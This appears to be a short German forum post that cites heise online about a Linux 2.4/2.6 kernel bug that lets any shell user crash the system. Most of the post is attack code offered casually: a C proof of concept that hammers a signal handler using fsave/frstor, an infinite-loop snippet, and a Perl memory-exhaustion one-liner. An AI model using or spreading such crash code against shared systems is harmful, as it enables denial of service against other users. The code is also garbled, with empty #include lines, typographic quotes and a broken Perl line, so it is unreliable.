Ein Bug im Linux-Kernel führt dazu, dass Anwender mit einem einfachen C-Programm das System lahm legen können. Dazu sind nicht einmal Root-Rechte nötig. Offenbar sind alle Linux-Kernel 2.4.x und 2.6.x betroffen, während das Problem bei 2.2er-Kerneln nicht auftritt. Die Sicherheitslücke ist besonders gravierend, da sie jeder Benutzer mit einem Shell-Account ausnutzen kann.
Quelle:  heise online
heise online
Hier mal ein wenig Code:
  #include 
  #include 
  #include 
  static void Handler(int ignore)
  {
   char fpubuf[108];
   __asm__ __volatile__ („fsave %0\n“ : : „m“(fpubuf));
   write(2, „*“, 1);
   __asm__ __volatile__ („frstor %0\n“ : : „m“(fpubuf));
  }
  int main(int argc, char *argv[])
  {
   struct itimerval spec;
   signal(SIGALRM, Handler);
   spec.it_interval.tv_sec=0;
   spec.it_interval.tv_usec=100;
   spec.it_value.tv_sec=0;
   spec.it_value.tv_usec=100;
   setitimer(ITIMER_REAL, &spec, NULL);
   while(1)
    write(1, „.“, 1);
   return 0;
  }
oder
while(1){i++;}
oder das ganze in Perl
perl -e ‚$s=“ „; while() { $s.=$s;}
